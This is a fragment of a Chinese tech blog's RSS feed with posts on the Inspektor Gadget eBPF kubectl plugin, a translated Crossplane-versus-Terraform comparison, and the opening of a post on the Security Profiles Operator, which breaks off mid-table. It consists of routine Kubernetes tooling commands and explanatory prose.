      <guid>/post/intro-k8s-gadget/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;各位好，今天 6 月 26 号，吃了么您呐。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;例行查看 krew index 的时候，发现有个新插件 &lt;code&gt;gadgit&lt;/code&gt;，翻翻来历，居然是 &lt;a href=&#34;https://kinvolk.io/&#34; target=&#34;_blank&#34;&gt;Kinvolk&lt;/a&gt; 的作品，公司不太出名，印象里最早做服务网格 Benchmark 的就是他。插件功能介绍很简单：&lt;code&gt;Collection of gadgets for Kubernetes developers&lt;/code&gt;，但是用法就很了不得了，非常有字数越小事越大的感觉：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;Available Commands:
  advise      Recommend system configurations based on collected information
  audit       Audit a subsystem
  completion  generate the autocompletion script for the specified shell
  deploy      Deploy Inspektor Gadget on the cluster
  help        Help about any command
  profile     Profile different subsystems
  snapshot    Take a snapshot of a subsystem and print it
  top         Gather, sort and periodically report events according to a given criteria
  trace       Trace and print system events
  traceloop   Get strace-like logs of a pod from the past
  undeploy    Undeploy Inspektor Gadget from cluster
  version     Show version
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;过滤掉辅助功能，可以看到几个主要内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;advise：根据搜集信息，推荐系统配置内容&lt;/li&gt;
&lt;li&gt;audit：对子系统进行审计&lt;/li&gt;
&lt;li&gt;profile：对不同子系统进行侧写&lt;/li&gt;
&lt;li&gt;snapshot：给子系统进行快照并打印&lt;/li&gt;
&lt;li&gt;top：根据制定规则，搜集、排序和周期性地报告事件&lt;/li&gt;
&lt;li&gt;trace：跟踪和打印系统事件&lt;/li&gt;
&lt;li&gt;traceloop：获取类似 strace 格式的历史日志&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其实说了跟没说一样是不是？不如一条条看过去了。&lt;/p&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;首先使用 krew 安装这个插件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl krew install gadget
Updated the local copy of plugin index.
Installing plugin: gadget
...
 | Use this plugin:
 |      kubectl gadget
...
 |  | $ kubectl gadget deploy | kubectl apply -f -
...
WARNING: You installed plugin &amp;quot;gadget&amp;quot; from the krew-index plugin repository.
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上文可以看到，使用插件之前要安装到及群里 &lt;code&gt;kubectl gadget deploy | kubectl apply -f -&lt;/code&gt;，可以看到，除了 RBAC 内容之外，还有 Daemonset 和 CRD 这两个东西。为了跟踪 Pod 行为，Inspektor Gadget 把 BPF 程序附加到内核函数上，当函数被执行时，内核也会运行这些被注入的程序。因此，BPF 程序需要检测触发该函数的系统调用，是否来自 Inspektor Gadget 的追踪目标。为了做到这一点，程序在包含要追踪的 Pod 列表的 BPF Map 中查找当前的 cgroup id，如果没有找到，程序会提前退出。最后，BPF程序收集要追踪的信息，例如，系统调用参数，并将它们 Ring Buffer 或 BPF Map。Inspektor Gadget 的用户空间工具在 Ring Buffer 或 BPF 地图上监听或读取，并获取新的事件。追踪结束后，BPF 程序将会被删除。&lt;/p&gt;

&lt;h2 id=&#34;network-policy-advise&#34;&gt;Network Policy Advise&lt;/h2&gt;

&lt;p&gt;这个功能由 Monitor 和 Report 两个部分构成，分别是启动特定命名空间内工作负载的网络监听，生成跟踪记录；以及根据跟踪记录生成网络策略两部分，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl gadget advise network-policy monitor  --output /tmp/result.txt
Node &amp;quot;gke-gcp-vlab-k8s-default-pool-d3fe3442-pw6v&amp;quot; ready.
Node &amp;quot;gke-gcp-vlab-k8s-default-pool-d3fe3442-9hsc&amp;quot; ready.
Node &amp;quot;gke-gcp-vlab-k8s-default-pool-d3fe3442-nj0k&amp;quot; ready.
^C
Stopping...

$ more /tmp/result.txt
{&amp;quot;type&amp;quot;:&amp;quot;ready&amp;quot;}
{&amp;quot;type&amp;quot;:&amp;quot;ready&amp;quot;}
{&amp;quot;type&amp;quot;:&amp;quot;ready&amp;quot;}
{&amp;quot;type&amp;quot;:&amp;quot;connect&amp;quot;,&amp;quot;remote_kind&amp;quot;:&amp;quot;pod&amp;quot;,&amp;quot;port&amp;quot;:2021,&amp;quot;local_pod_namespace&amp;quot;:&amp;quot;gadget&amp;quot;,&amp;quot;local_pod_name&amp;quot;:&amp;quot;gadget-dzb7g&amp;quot;,&amp;quot;local_pod_labels&amp;quot;:{&amp;quot;controller-revision-hash&amp;quot;:&amp;quot;8f55cc94f&amp;quot;,&amp;quot;k8s-app&amp;quot;:&amp;quot;gadget&amp;quot;,&amp;quot;pod-template-generation&amp;quot;:&amp;quot;1&amp;quot;},&amp;quot;remote_pod_namespace&amp;quot;:&amp;quot;kube-system&amp;quot;,&amp;quot;remote_pod_name&amp;quot;:&amp;quot;pdcsi-node-lpqln&amp;quot;,&amp;quot;remote_pod_labels&amp;quot;:{&amp;quot;controller-revision-hash&amp;quot;:&amp;quot;69cdc7c487&amp;quot;,&amp;quot;k8s-app&amp;quot;:&amp;quot;gcp-compute-persistent-disk-csi-driver&amp;quot;,&amp;quot;pod-template-generation&amp;quot;:&amp;quot;1&amp;quot;},&amp;quot;debug&amp;quot;:&amp;quot;4649087588182 cpu#1 connect 3293 otelsvc 10.138.15.229:33032 10.138.15.229:2021 4026531992\n&amp;quot;}
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行一段时间后使用 Ctrl+C 终止命令，可以看到指定的输出文件中包含了一堆类似 JSON 的记录内容，可以用这个文件生成网络策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl gadget advise network-policy report --input=/tmp/result.txt
...
      podSelector:
        matchLabels:
          k8s-app: konnectivity-agent
    ports:
    - port: 10250
      protocol: TCP
  podSelector:
    matchLabels:
      k8s-app: gadget
  policyTypes:
  - Ingress
  - Egress
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，网络策略已经生成。&lt;/p&gt;

&lt;h2 id=&#34;seccomp-profile-advise&#34;&gt;Seccomp Profile Advise&lt;/h2&gt;

&lt;p&gt;这一功能是用 &lt;code&gt;advise seccomp-profile&lt;/code&gt; 模块完成的，这个模块有三个子命令，分别是 &lt;code&gt;start&lt;/code&gt;、&lt;code&gt;list&lt;/code&gt; 和 &lt;code&gt;stop&lt;/code&gt;，例如要跟踪一个 Calico Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl gadget advise seccomp-profile start --podname=calico-node-t6hwg
HAmaTrPcxTLDNfSo
$ kubectl gadget advise seccomp-profile list
NAMESPACE      NODE(S)                                                                                                                         POD                  CONTAINER    TRACEID
kube-system    gke-gcp-vlab-k8s-default-pool-d3fe3442-9hsc,gke-gcp-vlab-k8s-default-pool-d3fe3442-nj0k,gke-gcp-vlab-k8s-default-pool-d3fe3442-pw6v    calico-node-t6hwg                 HAmaTrPcxTLDNfSo
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面 &lt;code&gt;start&lt;/code&gt; 命令执行后出现的 &lt;code&gt;HAmaTrPcxTLDNfSo&lt;/code&gt; 就是跟踪 ID，开始一段时间之后，可以调用 &lt;code&gt;stop&lt;/code&gt; 命令结束跟踪，跟踪结束后会显示这个 Pod 的 Seccomp：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl gadget advise seccomp-profile stop HAmaTrPcxTLDNfSo
{
  &amp;quot;defaultAction&amp;quot;: &amp;quot;SCMP_ACT_ERRNO&amp;quot;,
  &amp;quot;architectures&amp;quot;: [
    &amp;quot;SCMP_ARCH_X86_64&amp;quot;,
    &amp;quot;SCMP_ARCH_X86&amp;quot;,
    &amp;quot;SCMP_ARCH_X32&amp;quot;
  ],
  &amp;quot;syscalls&amp;quot;: [
    {
      &amp;quot;names&amp;quot;: [
        &amp;quot;accept4&amp;quot;,
        &amp;quot;access&amp;quot;,
        &amp;quot;arch_prctl&amp;quot;,
...
 ],
      &amp;quot;action&amp;quot;: &amp;quot;SCMP_ACT_ALLOW&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;profile&#34;&gt;Profile&lt;/h2&gt;

&lt;p&gt;这个模块包括 &lt;code&gt;block-io&lt;/code&gt; 和 &lt;code&gt;cpu&lt;/code&gt; 两个指令，例如监控某个节点的 &lt;code&gt;block-io&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt; kubectl gadget profile block-io --node=gke-gcp-vlab-k8s-default-pool-d3fe3442-9hsc
Tracing block device I/O... Hit Ctrl-C to end.^C

     usecs               : count     distribution
         0 -&amp;gt; 1          : 0        |                                        |
         2 -&amp;gt; 3          : 0        |                                        |
         4 -&amp;gt; 7          : 0        |                                        |
         8 -&amp;gt; 15         : 0        |                                        |
        16 -&amp;gt; 31         : 0        |                                        |
        32 -&amp;gt; 63         : 0        |                                        |
        64 -&amp;gt; 127        : 1        |                                        |
       128 -&amp;gt; 255        : 1        |                                        |
       256 -&amp;gt; 511        : 0        |                                        |
       512 -&amp;gt; 1023       : 2        |                                        |
      1024 -&amp;gt; 2047       : 54       |****************                        |
      2048 -&amp;gt; 4095       : 44       |*************                           |
      4096 -&amp;gt; 8191       : 49       |***************                         |
      8192 -&amp;gt; 16383      : 128      |****************************************|
     16384 -&amp;gt; 32767      : 118      |************************************    |
     32768 -&amp;gt; 65535      : 11       |***                                     |
     65536 -&amp;gt; 131071     : 5        |*                                       |
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到以微秒为单位的统计记录和分布情况。&lt;code&gt;cpu&lt;/code&gt; 子命令的用法如下，其中 &lt;code&gt;-K&lt;/code&gt; 开关意思是只关注内核空间的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl gadget profile cpu -p calico-node-t6hwg -K
Capturing stack traces... Hit Ctrl-C to end.^C

calico-node;entry_SYSCALL_64_after_hwframe;do_syscall_64;ksys_write;vfs_write;pipe_write;__wake_up_sync_key;_raw_spin_unlock_irqrestore;_raw_spin_unlock_irqrestore 1
calico-node;entry_SYSCALL_64_after_hwframe;do_syscall_64;ksys_read;vfs_read;pipe_read;anon_pipe_buf_release;anon_pipe_buf_release 1
ip 1
calico-node;entry_SYSCALL_64_after_hwframe;do_syscall_64;__se_sys_nanosleep;get_timespec64;_copy_from_user;copy_user_generic_unrolled;copy_user_generic_unrolled 1
calico-node 9
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;snapshot&#34;&gt;Snapshot&lt;/h2&gt;

&lt;p&gt;Snapshot 模块分为 &lt;code&gt;process&lt;/code&gt; 和 &lt;code&gt;socket&lt;/code&gt; 两个子命令，分别用于记录进程和网络。（&lt;code&gt;v0.5.1&lt;/code&gt; 版本的 &lt;code&gt;process&lt;/code&gt; 子命令好像无法工作）。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl gadget snapshot socket \  
    --node=gke-gcp-vlab-k8s-default-pool-d3fe3442-pw6v \
    -o custom-columns=namespace,pod,protocol,status
NAMESPACE       POD             PROTOCOL STATUS
kube-system     calico-node-zjpl5 TCP      ESTABLISHED
kube-system     calico-node-zjpl5 TCP      ESTABLISHED
kube-system     calico-node-zjpl5 TCP      ESTABLISHED
kube-system     calico-node-zjpl5 TCP      ESTABLISHED
kube-system     calico-node-zjpl5 TCP      ESTABLISHED
kube-system     calico-node-zjpl5 TCP      ESTABLISHED
kube-system     calico-node-zjpl5 TCP      ESTABLISHED
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;top&#34;&gt;Top&lt;/h2&gt;

&lt;p&gt;这个模块有三个子命令，&lt;code&gt;block-io&lt;/code&gt;、&lt;code&gt;tcp&lt;/code&gt; 和 &lt;code&gt;file&lt;/code&gt;，跟 Linux 系统的 &lt;code&gt;top&lt;/code&gt; 命令类似，例如下面的命令列出的 top file:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl gadget top file \
    -o custom-columns=container,pid,comm,reads
CONTAINER        PID     COMM             READS
fluentbit        3737    flb-pipeline     1
fluentbit        3737    flb-pipeline     1
fluentbit        3737    flb-pipeline     2
gke-metrics-agent 56606   otelsvc          2
fluentbit        3737    flb-pipeline     1
fluentbit        3737    flb-pipeline     1
fluentbit        3737    flb-pipeline     2
gke-metrics-agent 56606   otelsvc          2
fluentbit        3737    flb-pipeline     1
fluentbit        3737    flb-pipeline     2
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;trace&#34;&gt;Trace&lt;/h2&gt;

&lt;p&gt;这个模块针对系统事件进行跟踪，目前支持包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;bind：Scoket 绑定&lt;/li&gt;
&lt;li&gt;capabilities：Capability 检查&lt;/li&gt;
&lt;li&gt;dns：DNS 请求&lt;/li&gt;
&lt;li&gt;exec：新进程&lt;/li&gt;
&lt;li&gt;fsslower：&lt;code&gt;open&lt;/code&gt;、&lt;code&gt;read&lt;/code&gt;、&lt;code&gt;write&lt;/code&gt; 和 &lt;code&gt;fsync&lt;/code&gt; 操作时长超过阈值&lt;/li&gt;
&lt;li&gt;mount：&lt;code&gt;mount&lt;/code&gt; 和 &lt;code&gt;umount&lt;/code&gt; 操作&lt;/li&gt;
&lt;li&gt;oomkill：OOM Killer 被触发&lt;/li&gt;
&lt;li&gt;open：&lt;code&gt;open&lt;/code&gt; 系统调用&lt;/li&gt;
&lt;li&gt;signal：跟踪进程收到的信号&lt;/li&gt;
&lt;li&gt;sni: TLS 请求中的 SNI&lt;/li&gt;
&lt;li&gt;tcp：TCP 的 &lt;code&gt;connect&lt;/code&gt;、&lt;code&gt;accept&lt;/code&gt; 和 &lt;code&gt;close&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;tcpconnect：&lt;code&gt;connect&lt;/code&gt; 调用&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如对 &lt;code&gt;open&lt;/code&gt; 的跟踪：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl gadget trace open -o custom-columns=container,path

CONTAINER        PATH
fluentbit        /var/log/containers
fluentbit        /var/log/pods
fluentbit        /var/log/containers
fluentbit        /var/log/pods
fluentbit        /var/run/google-fluentbit/pos-files
...
csi-driver-registrar /usr/bin/runc
csi-driver-registrar /sys/kernel/mm/hugepages
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;然后&#34;&gt;然后&lt;/h2&gt;

&lt;p&gt;以后没 eBPF 支持连 Ops 都不好做了？&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Crossplane vs Terraform</title>
      <link>/post/crossplane.vs.terraform/</link>
      <pubDate>Wed, 04 May 2022 15:12:39 +0800</pubDate>
      <guid>/post/crossplane.vs.terraform/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://blog.crossplane.io/crossplane-vs-terraform/&#34; target=&#34;_blank&#34;&gt;Crossplane vs Terraform&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://blog.crossplane.io/author/negz/&#34; target=&#34;_blank&#34;&gt;Nic Cope&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Crossplane 经常被拿来和 HashiCorp 的 Terraform 作比较。企业平台团队往往会在淘汰 Terraform 寻求替代品的过程中发现 Crossplane。这两个项目还是有些相似的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;这两个产品都支持工程师用声明式的配置来对基础设施进行建模&lt;/li&gt;
&lt;li&gt;它们都可以用 &lt;code&gt;Provider&lt;/code&gt; 的形式支持多种多样的基础设施&lt;/li&gt;
&lt;li&gt;这两个产品都是具有强大社区的开源工具&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;二者的最大区别在于，Crossplane 是一个控制平面，而 Terraform 是一个命令行工具——或者说是一个控制平面的界面。本文会谈到企业在规模化应用 Terraform 的时候遇到的诸多痛点，并阐明 Crossplane 的解决之道。&lt;/p&gt;

&lt;h2 id=&#34;协作&#34;&gt;协作&lt;/h2&gt;

&lt;p&gt;通常情况下，Terraform 是由运维团队引入企业的。对于较小的工程师团队来说，Terraform 是一个很好的基础设施治理方案。用声明式配置的方法来表达基础设施，运维团队就可以采用软件工程的最佳实践进行工作——用版本控制的方式对配置进行管理，并对变更进行评审，而且还能在必要的时候进行回滚。&lt;/p&gt;

&lt;p&gt;在较多工程师协作管理组织的基础设施的情况下，Terraform 就显得有些凌乱了。Terraform 依赖一个单体式的状态文件，以此在基础设施的目标状态和实际状态之间进行映射。在应用配置时，必须锁定状态文件，所以 Terraform 的配置应用过程可能会产生一个数分钟的阻塞。在这个阻塞时间内，配置被独占，其他工程师或者实体都无法进行变更。类似地，Terraform 使用了一个单体式的 &lt;code&gt;apply&lt;/code&gt; 进程——并没有什么最佳实践来完成在配置中只修改一部分基础设施的操作。如果缓存和数据库在同一个配置里，就只能同时更新，而无法仅仅更新缓存。&lt;/p&gt;

&lt;p&gt;Terraform 推荐把单体式的配置分离为小粒度的配置。运维团队可能从一个 &lt;code&gt;production&lt;/code&gt; 配置开始，然后被鼓励分为 &lt;code&gt;production billing&lt;/code&gt;、&lt;code&gt;production auth&lt;/code&gt; 等小配置。这很难一蹴而就，所以随着时间的推移，需要进行大量的重构，并可能产生网状依赖的 Terraform 配置，其输入和输出也可能产生耦合。&lt;/p&gt;

&lt;p&gt;Crossplane 的资源模型被称为 XRM（Crossplane Resource Model），这个模型具备松耦合以及最终一致性的特征，因此提高了规模化协作的能力。在 Crossplane 中，基础设施中的每一块都是一个支持增删改查的 API 端点。Crossplane 的变更不需要依赖关系图，所以用单个数据库也能够管理整个生产环境。&lt;/p&gt;

&lt;h2 id=&#34;自助服务&#34;&gt;自助服务&lt;/h2&gt;

&lt;p&gt;现代化组织的基础设施管理模式，正在从中心化向自助化演进。运维团队（也称为平台团队）对基础设施进行抽象，研发团队可以根据需求进行消费。Terraform 通过 &lt;code&gt;Module&lt;/code&gt; 这样类似软件库的形式来支持这种进化，Terraform 和 Crossplane 一样，其资源都是外部 API 资源的忠实再现。模块对资源的配置基础上进行了简化的抽象，例如 &lt;a href=&#34;https://registry.terraform.io/modules/terraform-aws-modules/rds/aws/latest&#34; target=&#34;_blank&#34;&gt;RDS 模块&lt;/a&gt; 用八个（现在是九个了） Terraform 资源来表达 RDS 实例的概念。&lt;/p&gt;

&lt;p&gt;把应用团队当做 Terraform 配置的消费者意味着他们就是 Terraform 协作的主体。应用开发者被邀请参与组织基础设施的协作，像运维团队一样。平台团队邀请应用开发团队参与他们的工作流，而不仅是给他们提供服务。也就是说，应用团队必须学习新的、特定目标的工具集和语言——Terraform and the HashiCorp Configuration Language（HCL）。对于应用开发者来说，配置的抽象程度提高了，但是访问控制的抽象并没有随之提高。平台团队可以发布一个模块，让应用团队可以管理 RDS 实例，访问控制还是存在于云供应商的 API 级别，围绕着 &lt;code&gt;database subnet groups&lt;/code&gt; 和 &lt;code&gt;database parameter groups&lt;/code&gt; 进行。&lt;/p&gt;

&lt;p&gt;和 Terraform 模块等价的 Crossplane 概念是一个符合对象-XR。每个 XR 都是一个 API 端点。平台团队需要给每个 XR 定义 OpenAPI 结构并输出文档，并在 API 级别实现 RBAC。这样平台团队如果供应给应用开发团队数据库实例，开发团队就有权进行增删改查，而无需关注底层的 RDS 实例和 Subnet 等概念了。Crossplane 构建在 Kubernetes RBAC 基础之上，平台团队能够用轻松地同一个控制平面支持多个应用团队。每个团队都只具备自己需要的权限——有的可能只需要管理存储桶、其他的可能有权使用缓存和数据库。&lt;/p&gt;

&lt;p&gt;不仅如此，Crossplane 的 XR 能提供多种服务，Crossplane 用 Kubernetes 对象 &lt;code&gt;spec&lt;/code&gt; 和 &lt;code&gt;status&lt;/code&gt; 的方式，把 XR 的输入输出和它的实现进行解耦。如果应用程序团队被授权创建 PostgreSQL，他们可以轻松地从平台团队已经兼容的数据库中进行选择。这些服务类别可以表达生产、预发布和开发；AWS、Azure 以及 GCP；快或慢；以及各种条件的组合。&lt;/p&gt;

&lt;h2 id=&#34;集成和自动化&#34;&gt;集成和自动化&lt;/h2&gt;

&lt;p&gt;Terraform 的背后是很多 API，但其自身并没有 API。所以很多团队的自动化方式就是：向版本管理系统（例如 GIT）提交 Terraform 配置的办法融入到 CI/CD 管线之中。这种方式自然要优于从自己的笔记本上运行 Terraform。但这种做法在规模扩张的时候会出现问题。Terraform 是一个命令行工具，而不是一个控制平面，他是短寿的、一次性的进程；所以他只能在调用期间，对基础设施进行面向期待状态的调谐。不管从 CI/CD 还是笔记本上运行，Terraform 一般都是在工程师需要对基础设施进行更新时被执行的。&lt;/p&gt;

&lt;p&gt;Terraform 保守的按需执行的方式，可能会导致一个死锁。如前所述，应用 Terraform 配置的过程是全有或者全无的——如果在同一个配置中对缓存和数据库进行描述，那么无论更新哪个对象，都需要同时更新这两个配置。这样一来，如果有人绕开了 Terraform（直接变更基础设施），那么接下来运行 Terraform 计划的人会发现，Terraform 要试图撤销前面的变更。想象一下，一个工程师在半夜被叫醒，处理一个现场问题，他通过 AWS 控制台对生产环境的缓存配置进行了修改，并忘记通知给 Terraform。因此就有一种可能：基础设施的变化越频繁，应用 Terraform 配置的风险就越大。&lt;/p&gt;

&lt;p&gt;而在 Crossplane 来说，他构建的是一系列的长期运行的、一直在线的控制循环。他会持续地对基础设施进行观察和矫正，以使环境符合预期。这样就一定程度上阻止了绕过 Crossplane 的企图。当 Crossplane 接管资源之后，所有在 Crossplane 之外修改资源的尝试都会被自动地、持续地修正回预期状态。&lt;/p&gt;

&lt;p&gt;不提供 API 是企业应用 Terraform 的一大痛点。和 Terraform 进行集成是一个挑战——他的 操作语言是面向特定领域的 HCL 语言，而且使用命令行工具进行调用。Crossplane 开放了 REST API，这无疑是对自动化更加友好。不管是用 Shell 脚本、Python、或者 Erlang，都有途径和 REST API 进行集成——也就是说和 Crossplane 进行集成。&lt;/p&gt;

&lt;p&gt;Crossplane 不会暴露旧的 REST API。在 Kubernetes API 的基础上进行构建的 Crossplane API，让团队可以用 &lt;code&gt;kubectl&lt;/code&gt; 的方式对所有云或非云的基础设施进行编排，这样就和编排容器化应用的方式保持了一致。Crossplane 还能用 Kubernetes Secret 的方式来表达应用连接基础设施的凭据，简化集成过程。它可以和 ArgoCD、Gatekeeper 或者 Velero 进行协作，来进行 GitOps、策略支持以及备份等工作。构建 Kubernetes Operator，和 Crossplane 集成，有利于建设可靠的自动化过程。&lt;/p&gt;

&lt;h2 id=&#34;鱼与熊掌&#34;&gt;鱼与熊掌&lt;/h2&gt;

&lt;p&gt;Crossplane 和 Terraform 都能够编排基础设施。二者有一定的相似之处，但具体的编排方式却迥然不同。Terraform 用命令行界面来管理底层控制平面的 API；而 Crossplane 自己就是一个控制平面，能够在其他控制平面上建设抽象的编排能力。因为 Crossplane 让平台团队能够提供自己的控制平面，从而避免了 Terraform 面临的很多问题。&lt;/p&gt;

&lt;p&gt;读者可能会注意到，这两个项目是互补的——Terraform 是控制平面的界面，并且它的 Kubernetes Provider 能够对 Kubernetes 控制平面进行管理。这也就产生了 Terraform 和 Crossplane 进行协作的可能性。假设你的组织偏爱 HCL 而非 YAML，那么就可以使用 Terraform 来对 XR 及其组合进行定义，而应用团队则可以使用 Terraform 来对 Crossplane 对象的期待状态进行编排。&lt;/p&gt;

&lt;p&gt;我们认为 Crossplane 方案让平台团队为应用开发者赋能，使得开发者能够自助管理基础设施。如果有兴趣&lt;a href=&#34;https://crossplane.io/docs&#34; target=&#34;_blank&#34;&gt;开始尝试 Crossplane&lt;/a&gt;，或者有问题或者反馈，可以&lt;a href=&#34;https://slack.crossplane.io/&#34; target=&#34;_blank&#34;&gt;通过 Slack 联系我们&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Crossplane 文档：&lt;code&gt;https://crossplane.io/docs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Slack：&lt;code&gt;https://slack.crossplane.io/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：Security Profiles Operator</title>
      <link>/post/intro-to-spo/</link>
      <pubDate>Sun, 20 Mar 2022 20:20:50 +0800</pubDate>
      <guid>/post/intro-to-spo/</guid>
      <description>

&lt;p&gt;在云原生安全方面，Kubernetes 在不同维度提供了很多的不同内容，例如 RBAC、Networkpolicy、SecurityContext 等等，种种措施中，像我这样基础不牢的 YAML 工程师最头大的可能就要数 SecurityContext 里面的 SELinux、Seccomp 和 AppArmor 三大块了。&lt;a href=&#34;https://github.com/kubernetes-sigs/security-profiles-operator&#34; target=&#34;_blank&#34;&gt;Security Profiles Operator&lt;/a&gt; 项目为此而来，希望能够降低在 Kubernetes 集群中使用这些安全技术的难度。在项目网页上转了转，发现他所说的简化，除了定义几个 CRD 封装这样的 Operator 传统技能之外；还有一个使用 CRD 在节点间传输 Security Profile 的能力；最后也是最重要的，提供了很方便的录制功能，这倒是真的戳中了痛点——手写 Profile 固然酷炫，录制生成才是生产力啊。目前支持的功能矩阵如下：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;Seccomp&lt;/th&gt;
&lt;th&gt;SELinux&lt;/th&gt;
&lt;th&gt;AppArmor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Profile CRD&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;ProfileBinding&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Deploy profiles into nodes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;WIP&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Remove profiles no longer in use&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;WIP&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Profile Auto-generation (logs)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;WIP&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Profile Auto-generation (ebpf)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Audit log enrichment&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;WIP&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;如果目标环境不是 Openshift，首先需要安装 &lt;code&gt;Cert Manager&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f https://github.com/jetstack/cert-manager/releases/download/v1.6.1/cert-manager.yaml

customresourcedefinition.apiextensions.k8s.io/certificaterequests.cert-manager.io created
customresourcedefinition.apiextensions.k8s.io/certificates.cert-manager.io created
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来安装 SPO：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/security-profiles-operator/master/deploy/operator.yaml
customresourcedefinition.apiextensions.k8s.io/profilebindings.security-profiles-operator.x-k8s.io created
customresourcedefinition.apiextensions.k8s.io/profilerecordings.security-profiles-operator.x-k8s.io created
customresourcedefinition.apiextensions.k8s.io/seccompprofiles.security-profiles-operator.x-k8s.io created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看生成的 CRD，大致功能如下&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;全名&lt;/th&gt;
&lt;th&gt;缩写&lt;/th&gt;
&lt;th&gt;命名空间级&lt;/th&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AppArmorProfile&lt;/td&gt;
&lt;td&gt;aa&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;用于保存 AppArmor Profile&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;ProfileBinding&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;把 Profile 绑定到 Pod 上&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;ProfileRecording&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
